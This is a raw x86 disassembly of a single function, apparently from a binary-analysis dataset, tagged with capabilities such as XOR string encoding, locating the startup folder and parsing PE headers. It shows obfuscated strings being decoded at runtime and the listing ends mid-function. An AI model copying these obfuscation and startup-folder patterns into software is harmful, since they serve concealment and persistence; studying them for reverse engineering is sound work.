Function at 0x42a690
Capabilities:
Encode data using xor
Get common file path
Get startup folder
Inspect section memory permissions
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52da5f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xc60
push esi
mov esi, ecx
mov byte [ebp - 0x15], dl
mov dword [ebp - 0x78], esi
push edi
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push ecx
call fcn.0048ab80
mov byte [ebp - 4], 4
sub esp, 0x10
mov eax, 1
mov dword [ebp - 0x20], esp
mov ecx, esp
mov dword [ebp - 0x14], eax
sub esp, 8
mov dword [ebp - 0x1c], eax
mov eax, esp
mov dword [ebp - 0x519], 0xdbd6dfc3
xorps xmm0, xmm0
mov word [ebp - 0x515], 0xc7dd
movups xmmword [ebp - 0x513], xmm0
mov dword [ebp - 0x503], 0
mov word [ebp - 0x4ff], 0
mov byte [ebp - 0x4fd], 0
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0048ab50
add esp, 8
mov dword [ebp - 4], 5
xor ecx, ecx
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x519], al
inc ecx
cmp ecx, 6
jb 0x42a751
lea eax, [ebp - 0x519]
mov dword [0x565548], ecx
push eax
lea ecx, [ebp - 0xa44]
mov byte [ebp - 0x513], 0
call fcn.00402b70
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xa44]
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00490ca0
mov ecx, eax
mov byte [ebp - 4], 7
call fcn.0048a7d0
lea ecx, [ebp - 0xa44]
mov byte [ebp - 4], 4
call fcn.00402ad0
push 0x104
lea eax, [ebp - 0xc70]
push 0
push eax
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0xc70]
push eax
movzx eax, byte [ebp - 0x15]
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebx + 0x24]
push eax
lea edx, [ebp - 0xc70]
lea ecx, [ebp - 0x60]
call fcn.00490a90
add esp, 4
mov dword [ebp - 4], 8
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
cmp byte [ebx + 8], 0
mov byte [ebp - 4], 9
jne 0x42abd5
sub esp, 0x18
lea eax, [ebp - 0x60]
mov ecx, esp
push eax
call fcn.0048ccc0
push 0
mov dl, 1
lea ecx, [ebp - 0x74]
call fcn.0042a0f0
add esp, 0x1c
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa
call fcn.0048b950
test eax, eax
jne 0x42a8a0
call fcn.0048eeb0
lea ecx, [ebp - 0x3c]
call fcn.0048eeb0
lea ecx, [ebp - 0x60]
call fcn.00402ad0
lea ecx, [ebx + 0xc]
call fcn.00402ad0
lea ecx, [ebx + 0x24]
call fcn.00402ad0
lea ecx, [ebx + 0x3c]
call fcn.00402ad0
lea ecx, [ebx + 0x54]
call fcn.00402ad0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0x70]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x74]
xor esi, esi
imul ecx
mov dword [ebp - 0x28], esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x42ab20
xor edi, edi
mov dword [ebp - 0x24], edi
push esi
lea ecx, [ebp - 0x74]
call fcn.0048b930
xorps xmm0, xmm0
mov byte [ebp - 0x6a0], 0xf3
mov esi, eax
mov dword [ebp - 0x68f], 0
movups xmmword [ebp - 0x69f], xmm0
mov word [ebp - 0x68b], 0
xor ecx, ecx
mov byte [ebp - 0x689], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x6a0], al
inc ecx
cmp ecx, 1
jb 0x42a900
lea eax, [ebp - 0x6a0]
mov dword [0x565620], ecx
push eax
lea ecx, [ebp - 0xa5c]
mov byte [ebp - 0x69f], 0
call fcn.00402b70
lea ecx, [ebp - 0xa5c]
mov byte [ebp - 4], 0xb
call fcn.00402c10
push eax
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0xb64]
call fcn.004909d0
sub esp, 0x14
mov byte [ebp - 4], 0xc
mov ecx, esp
mov edx, eax
push esi
call fcn.00490bf0
add esp, 4
lea ecx, [ebp - 0x140]
xor dl, dl
push 0
call fcn.0042a0f0
add esp, 0x1c
lea ecx, [ebp - 0xb64]
call fcn.00402ad0
lea ecx, [ebp - 0xa5c]
mov byte [ebp - 4], 0xf
call fcn.00402ad0
lea ecx, [ebp - 0x140]
call fcn.0048b950
test eax, eax
je 0x42aae5
mov esi, dword [ebp - 0x140]
xor ecx, ecx
mov dword [ebp - 0x40], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x13c]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x42aae5
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebx + 0x50], 0x10
lea ecx, [esi + eax]
mov eax, dword [ecx + 0x10]
lea edx, [ebx + 0x3c]
cmovae edx, dword [ebx + 0x3c]
cmp dword [ecx + 0x14], 0x10
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x68], edx
jb 0x42a9f2
mov ecx, dword [ecx]
mov dword [ebp - 0x48], ecx
mov esi, dword [ebx + 0x4c]
cmp esi, eax
ja 0x42aab3
sub eax, esi
test esi, esi
je 0x42ab3d
movsx edx, byte [edx]
inc eax
add eax, ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x44], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.00508700
mov edi, eax
add esp, 0xc
test edi, edi
je 0x42aab0
nop word [eax + eax]
mov ecx, dword [ebp - 0x68]
mov edx, edi
sub esi, 4
jb 0x42aa51
nop word [eax + eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x42aa56
add edx, 4
add ecx, 4
sub esi, 4
jae 0x42aa40
cmp esi, 0xfffffffc
je 0x42aa8a
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x42aa83
cmp esi, 0xfffffffd
je 0x42aa8a
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x42aa83
cmp esi, 0xfffffffe
je 0x42aa8a
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x42aa83
cmp esi, 0xffffffff
je 0x42aa8a
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x42aa8a
sbb eax, eax
or eax, 1
jmp 0x42aa8c
xor eax, eax
test eax, eax
je 0x42ab31
mov eax, dword [ebp - 0x44]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x20]
push edi
call fcn.00508700
mov esi, dword [ebx + 0x4c]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x42aa30
mov edi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x13c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x140]
sub ecx, esi
add dword [ebp - 0x30], 0x18
inc dword [ebp - 0x40]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x30]
jb 0x42a9d0
lea ecx, [ebp - 0x140]
mov byte [ebp - 4], 0xa
call fcn.0048eeb0
mov ecx, dword [ebp - 0x70]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x74]
add edi, 0x18
mov esi, dword [ebp - 0x28]
imul ecx
inc esi
mov dword [ebp - 0x24], edi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x28], esi
shr eax, 0x1f
add eax, edx
cmp esi, eax
jb 0x42a8c7
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 9
call fcn.0048eeb0
jmp 0x42ac07
sub edi, dword [ebp - 0x48]
cmp edi, 0xffffffff
je 0x42aab0
mov ecx, dword [ebp - 0x38]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x3c]
xor edi, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x20], eax
je 0x42aba8
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x74]
mov dword [ebp - 0x44], ecx
mov edx, dword [ecx + 0x10]
nop dword [eax]
cmp dword [ecx + 0x14], 0x10
mov eax, ecx
jb 0x42ab7a
mov eax, dword [ecx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x42ab84
mov ecx, dword [esi]
push edx
mov edx, dword [esi + 0x10]
push eax
call fcn.0049c9a0
add esp, 8
test al, al
jne 0x42aab0
mov ecx, dword [ebp - 0x44]
inc edi
add esi, 0x18
mov edx, dword [ecx + 0x10]
cmp edi, dword [ebp - 0x20]
jb 0x42ab70
mov eax, dword [ebp - 0x74]
mov edi, dword [ebp - 0x24]
add eax, edi
mov ecx, dword [ebp - 0x38]
push eax
cmp ecx, dword [ebp - 0x34]
je 0x42abc7
call fcn.0048ccc0
add dword [ebp - 0x38], 0x18
jmp 0x42aab3
push ecx
lea ecx, [ebp - 0x3c]
call fcn.00499970
jmp 0x42aab3
push 0x5443dc
lea ecx, [ebp - 0x89c]
call fcn.00402b70
lea eax, [ebp - 0x89c]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x3c]
call fcn.0048b9b0
lea ecx, [ebp - 0x89c]
mov byte [ebp - 4], 9
call fcn.00402ad0
lea ecx, [ebp - 0x3c]
call fcn.0048b950
test eax, eax
jne 0x42ac45
push 0x5443dc
lea ecx, [ebp - 0x89c]
call fcn.00402b70
lea eax, [ebp - 0x89c]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x3c]
call fcn.0048b9b0
lea ecx, [ebp - 0x89c]
mov byte [ebp - 4], 9
call fcn.00402ad0
xorps xmm0, xmm0
mov byte [ebp - 0x6b8], 0xf3
movups xmmword [ebp - 0x6b7], xmm0
mov dword [ebp - 0x6a7], 0
xor ecx, ecx
mov word [ebp - 0x6a3], 0
mov byte [ebp - 0x6a1], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x6b8], al
inc ecx
cmp ecx, 1
jb 0x42ac72
lea eax, [ebp - 0x6b8]
mov dword [0x565620], ecx
push eax
lea ecx, [ebp - 0x984]
mov byte [ebp - 0x6b7], 0
call fcn.00402b70
lea ecx, [ebp - 0x984]
mov byte [ebp - 4], 0x12
call fcn.00402c10
push eax
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0xb34]
call fcn.004909d0
sub esp, 0x14
mov byte [ebp - 4], 0x13
lea edx, [ebx + 0x54]
mov ecx, esp
push edx
mov edx, eax
call fcn.00490bf0
add esp, 4
call fcn.0040dee0
add esp, 0x18
mov byte [ebp - 0x15], al
lea ecx, [ebp - 0xb34]
call fcn.00402ad0
lea ecx, [ebp - 0x984]
mov byte [ebp - 4], 9
call fcn.00402ad0
cmp byte [ebp - 0x15], 0
jne 0x42ae67
movaps xmm0, xmmword [0x551b70]
xor ecx, ecx
movups xmmword [ebp - 0x8c3], xmm0
mov dword [ebp - 0x8a3], 0
xorps xmm0, xmm0
mov word [ebp - 0x89f], 0
movups xmmword [ebp - 0x8b3], xmm0
mov byte [ebp - 0x89d], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x8c3], al
inc ecx
cmp ecx, 0x10
jb 0x42ad40
lea eax, [ebp - 0x8c3]
mov dword [0x565628], ecx
push eax
lea ecx, [ebp - 0x99c]
mov byte [ebp - 0x8b3], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x99c]
mov esi, esp
call fcn.00402c10
push eax
lea edx, [ebp - 0x60]
mov ecx, esi
call fcn.004909d0
add esp, 4
call fcn.0040dee0
add esp, 0x18
mov byte [ebp - 0x15], al
lea ecx, [ebp - 0x99c]
mov byte [ebp - 4], 9
call fcn.00402ad0
cmp byte [ebp - 0x15], 0
je 0x42ae67
xorps xmm0, xmm0
mov dword [ebp - 0x134], 0xd3d2dfe3
mov dword [ebp - 0x130], 0xd3c7e4df
xor ecx, ecx
mov dword [ebp - 0x12c], 0xd097cbd1
mov word [ebp - 0x128], 0xd3c8
mov byte [ebp - 0x126], 0xd3
movups xmmword [ebp - 0x125], xmm0
mov dword [ebp - 0x115], 0
mov word [ebp - 0x111], 0
mov byte [ebp - 0x10f], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x134], al
inc ecx
cmp ecx, 0xf
jb 0x42ae10
lea eax, [ebp - 0x134]
mov dword [0x565558], ecx
push eax
lea ecx, [ebp - 0x9b4]
mov byte [ebp - 0x125], 0
call fcn.00402b70
lea ecx, [ebp - 0x9b4]
mov byte [ebp - 4], 0x15
call fcn.00402c10
push eax
lea ecx, [ebx + 0x54]
call fcn.0048cae0
lea ecx, [ebp - 0x9b4]
mov byte [ebp - 4], 9
call fcn.00402ad0
xorps xmm0, xmm0
mov byte [ebp - 0x6d0], 0xf3
movups xmmword [ebp - 0x6cf], xmm0
mov dword [ebp - 0x6bf], 0
xor ecx, ecx
mov word [ebp - 0x6bb], 0
mov byte [ebp - 0x6b9], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x6d0], al
inc ecx
cmp ecx, 1
jb 0x42ae94
lea eax, [ebp - 0x6d0]
mov dword [0x565620], ecx
push eax
lea ecx, [ebp - 0x9cc]
mov byte [ebp - 0x6cf], 0
call fcn.00402b70
lea ecx, [ebp - 0x9cc]
mov byte [ebp - 4], 0x16
call fcn.00402c10
push eax
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0xb04]
call fcn.004909d0
sub esp, 0x14
mov byte [ebp - 4], 0x17
lea edx, [ebx + 0x54]
mov ecx, esp
push edx
mov edx, eax
call fcn.00490bf0
add esp, 4
lea ecx, [ebp - 0x748]
call fcn.0040d810
add esp, 0x18
lea ecx, [ebp - 0xb04]
call fcn.00402ad0
lea ecx, [ebp - 0x9cc]
mov byte [ebp - 4], 0x1a
call fcn.00402ad0
push 0x5443dc
lea ecx, [ebp - 0x3c0]
call fcn.00402b70
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x738], 0
je 0x42b32d
sub esp, 0x28
lea edx, [ebp - 0x748]
mov eax, esp
lea ecx, [ebp - 0x758]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00490ed0
add esp, 0x30
mov byte [ebp - 4], 0x1c
xorps xmm0, xmm0
mov dword [ebp - 0x2f0], 0xd1eec3c0
xor ecx, ecx
mov dword [ebp - 0x2ec], 0xc2c5cdc1
movups xmmword [ebp - 0x2e8], xmm0
mov dword [ebp - 0x2d8], 0
mov word [ebp - 0x2d4], 0
mov byte [ebp - 0x2d2], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2f0], al
inc ecx
cmp ecx, 8
jb 0x42afa4
lea eax, [ebp - 0x2f0]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0x9fc]
mov byte [ebp - 0x2e8], 0
call fcn.00402b70
mov eax, 3
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x9fc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402c10
push eax
lea ecx, [ebp - 0x758]
call fcn.00490ca0
cmp byte [eax], 0
je 0x42b140
xorps xmm0, xmm0
mov dword [ebp - 0x2d1], 0xd1eec3c0
mov dword [ebp - 0x2cd], 0xc2c5cdc1
xor ecx, ecx
movups xmmword [ebp - 0x2c9], xmm0
mov dword [ebp - 0x2b9], 0
mov word [ebp - 0x2b5], 0
mov byte [ebp - 0x2b3], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2d1], al
inc ecx
cmp ecx, 8
jb 0x42b040
lea eax, [ebp - 0x2d1]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0x954]
mov byte [ebp - 0x2c9], 0
call fcn.00402b70
mov dword [ebp - 4], 0x1e
lea ecx, [ebp - 0x954]
mov dword [ebp - 0x1c], 7
call fcn.00402c10
push eax
lea ecx, [ebp - 0x758]
call fcn.00490ca0
xorps xmm0, xmm0
mov dword [ebp - 0x1ac], 0xc0d2deca
mov esi, eax
mov dword [ebp - 0x1a8], 0xd3c1c4ca
mov dword [ebp - 0x1a4], 0xdfd2e7d3
xor ecx, ecx
mov byte [ebp - 0x1a0], 0xc2
movups xmmword [ebp - 0x19f], xmm0
mov dword [ebp - 0x18f], 0
mov word [ebp - 0x18b], 0
mov byte [ebp - 0x189], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x1ac], al
inc ecx
cmp ecx, 0xd
jb 0x42b0e2
lea eax, [ebp - 0x1ac]
mov dword [0x56557c], ecx
push eax
lea ecx, [ebp - 0x9e4]
mov byte [ebp - 0x19f], 0
call fcn.00402b70
mov eax, 0xf
mov dword [ebp - 4], 0x1f
lea ecx, [ebp - 0x9e4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00490ca0
mov byte [ebp - 0x15], 1
cmp byte [eax], 0
jne 0x42b144
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test al, 8
je 0x42b162
and eax, 0xfffffff7
lea ecx, [ebp - 0x9e4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402ad0
mov eax, dword [ebp - 0x14]
test al, 4
je 0x42b17d
and eax, 0xfffffffb
lea ecx, [ebp - 0x954]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402ad0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x1c
test al, 2
je 0x42b19c
and eax, 0xfffffffd
lea ecx, [ebp - 0x9fc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402ad0
cmp byte [ebp - 0x15], 0
je 0x42b31e
xorps xmm0, xmm0
mov dword [ebp - 0x30f], 0xd1eec3c0
mov dword [ebp - 0x30b], 0xc2c5cdc1
xor ecx, ecx
movups xmmword [ebp - 0x307], xmm0
mov dword [ebp - 0x2f7], 0
mov word [ebp - 0x2f3], 0
mov byte [ebp - 0x2f1], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x30f], al
inc ecx
cmp ecx, 8
jb 0x42b1e0
lea eax, [ebp - 0x30f]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0xa2c]
mov byte [ebp - 0x307], 0
call fcn.00402b70
lea ecx, [ebp - 0xa2c]
mov byte [ebp - 4], 0x20
call fcn.00402c10
push eax
lea ecx, [ebp - 0x758]
call fcn.00490ca0
xorps xmm0, xmm0
mov dword [ebp - 0x188], 0xc0d2deca
mov esi, eax
mov dword [ebp - 0x184], 0xd3c1c4ca
mov dword [ebp - 0x180], 0xdfd2e7d3
xor ecx, ecx
mov byte [ebp - 0x17c], 0xc2
movups xmmword [ebp - 0x17b], xmm0
mov dword [ebp - 0x16b], 0
mov word [ebp - 0x167], 0
mov byte [ebp - 0x165], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x188], al
inc ecx
cmp ecx, 0xd
jb 0x42b280
lea eax, [ebp - 0x188]
mov dword [0x56557c], ecx
push eax
lea ecx, [ebp - 0xa14]
mov byte [ebp - 0x17b], 0
call fcn.00402b70
lea ecx, [ebp - 0xa14]
mov byte [ebp - 4], 0x21
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00490ca0
lea ecx, [ebp - 0xaec]
push ecx
mov ecx, eax
call fcn.00490de0
mov edx, eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0xb1c]
call fcn.004029b0
push eax
lea ecx, [ebp - 0x3c0]
call fcn.0048cb40
lea ecx, [ebp - 0xb1c]
call fcn.00402ad0
lea ecx, [ebp - 0xaec]
call fcn.00402ad0
lea ecx, [ebp - 0xa14]
call fcn.00402ad0
lea ecx, [ebp - 0xa2c]
call fcn.00402ad0
lea ecx, [ebp - 0x758]
mov byte [ebp - 4], 0x1b
call fcn.0048a7b0
mov ecx, dword [ebp - 0x38]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x3c]
xor edi, edi
imul ecx
mov dword [ebp - 0x24], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x42dfac
nop
cmp byte [ebx + 8], 0
xorps xmm0, xmm0
je 0x42b390
movups xmmword [ebp - 0x628], xmm0
mov dword [ebp - 0x618], 0
mov dword [ebp - 0x614], 0xf
mov byte [ebp - 0x628], 0
mov byte [ebp - 4], 0x23
lea edi, [ebp - 0x628]
mov eax, dword [ebp - 0x14]
or eax, 0x10
jmp 0x42b4a7
mov byte [ebp - 0x5f8], 0xf3
xor ecx, ecx
movups xmmword [ebp - 0x5f7], xmm0
mov dword [ebp - 0x5e7], 0
mov word [ebp - 0x5e3], 0
mov byte [ebp - 0x5e1], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x5f8], al
inc ecx
cmp ecx, 1
jb 0x42b3c0
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x5f8]
mov byte [ebp - 0x5f7], 0
movups xmmword [ebp - 0x424], xmm0
mov dword [ebp - 0x414], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x410], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b405
sub ecx, edx
lea eax, [ebp - 0x5f8]
push ecx
push eax
lea ecx, [ebp - 0x424]
call fcn.00402c40
mov dword [ebp - 4], 0x24
lea ecx, [edi + edi*2]
mov eax, dword [ebp - 0x14]
lea esi, [ebp - 0x424]
or eax, 0x20
cmp dword [ebp - 0x410], 0x10
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0x424]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x3c]
mov edi, dword [eax + ecx*8 + 0x10]
lea edx, [eax + ecx*8]
mov ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b460
sub ecx, dword [ebp - 0x20]
mov eax, closesocket
sub eax, edi
cmp eax, ecx
jb 0x42e1c1
cmp dword [edx + 0x14], 0x10
jb 0x42b481
mov edx, dword [edx]
push ecx
push esi
push edi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x7b0]
call fcn.004946d0
mov dword [ebp - 4], 0x25
lea edi, [ebp - 0x7b0]
mov eax, dword [ebp - 0x14]
or eax, 0x40
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0x610], 0xf3
movups xmmword [ebp - 0x60f], xmm0
mov dword [ebp - 0x5ff], 0
mov word [ebp - 0x5fb], 0
mov byte [ebp - 0x5f9], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x610], al
inc ecx
cmp ecx, 1
jb 0x42b4e0
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x610]
mov byte [ebp - 0x60f], 0
movups xmmword [ebp - 0x43c], xmm0
mov dword [ebp - 0x42c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x428], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b525
sub ecx, edx
lea eax, [ebp - 0x610]
push ecx
push eax
lea ecx, [ebp - 0x43c]
call fcn.00402c40
mov dword [ebp - 4], 0x26
lea edx, [ebp - 0x43c]
cmp dword [ebp - 0x428], 0x10
cmovae edx, dword [ebp - 0x43c]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b561
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x50]
sub eax, esi
cmp eax, ecx
jb 0x42e1c1
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x780]
call fcn.004946d0
push edi
lea eax, [ebp - 0x780]
mov byte [ebp - 4], 0x27
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x798]
call fcn.004944e0
mov edi, dword [ebp - 0x14]
or edi, 0x10000000
mov dword [ebp - 0x1c], edi
sub esp, 0x18
mov byte [ebp - 4], 0x28
mov esi, esp
lea eax, [ebx + 0x54]
lea ecx, [ebp - 0x798]
mov dword [ebp - 0x20], esi
push eax
call fcn.0048ca40
xorps xmm0, xmm0
or edi, 0x20000000
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040dee0
add esp, 0x18
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x784]
test al, al
sete byte [ebp - 0x15]
cmp ecx, 0x10
jb 0x42b668
mov edx, dword [ebp - 0x798]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b65e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x76c]
mov dword [ebp - 0x788], 0
mov dword [ebp - 0x784], 0xf
mov byte [ebp - 0x798], 0
cmp ecx, 0x10
jb 0x42b6c1
mov edx, dword [ebp - 0x780]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b6b7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x428]
mov dword [ebp - 0x770], 0
mov dword [ebp - 0x76c], 0xf
mov byte [ebp - 0x780], 0
cmp ecx, 0x10
jb 0x42b71a
mov edx, dword [ebp - 0x43c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b710
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 4], 0x24
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x428], 0xf
mov byte [ebp - 0x43c], 0
test al, 0x40
je 0x42b7a4
mov ecx, dword [ebp - 0x79c]
and eax, 0xffffffbf
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42b789
mov edx, dword [ebp - 0x7b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b77c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x7a0], 0
mov dword [ebp - 0x79c], 0xf
mov byte [ebp - 0x7b0], 0
mov dword [ebp - 4], 0x23
test al, 0x20
je 0x42b810
mov ecx, dword [ebp - 0x410]
and eax, 0xffffffdf
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42b7f5
mov edx, dword [ebp - 0x424]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b7e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x414], 0
mov dword [ebp - 0x410], 0xf
mov byte [ebp - 0x424], 0
mov dword [ebp - 4], 0x1b
test al, 0x10
je 0x42b879
mov ecx, dword [ebp - 0x614]
and eax, 0xffffffef
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42b85e
mov edx, dword [ebp - 0x628]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b854
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x618], 0
mov dword [ebp - 0x614], 0xf
mov byte [ebp - 0x628], 0
cmp byte [ebp - 0x15], 0
je 0x42bddc
xor ecx, ecx
cmp byte [ebx + 8], cl
je 0x42b9c0
xorps xmm0, xmm0
mov dword [ebp - 0xc6], 0xd3d2dfe3
mov dword [ebp - 0xc2], 0xd3c7e4df
mov dword [ebp - 0xbe], 0xd097cbd1
mov word [ebp - 0xba], 0xd3c8
mov byte [ebp - 0xb8], 0xd3
movups xmmword [ebp - 0xb7], xmm0
mov dword [ebp - 0xa7], ecx
mov word [ebp - 0xa3], cx
mov byte [ebp - 0xa1], cl
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xc6], al
inc ecx
cmp ecx, 0xf
jb 0x42b8e0
mov dword [0x565558], ecx
xorps xmm0, xmm0
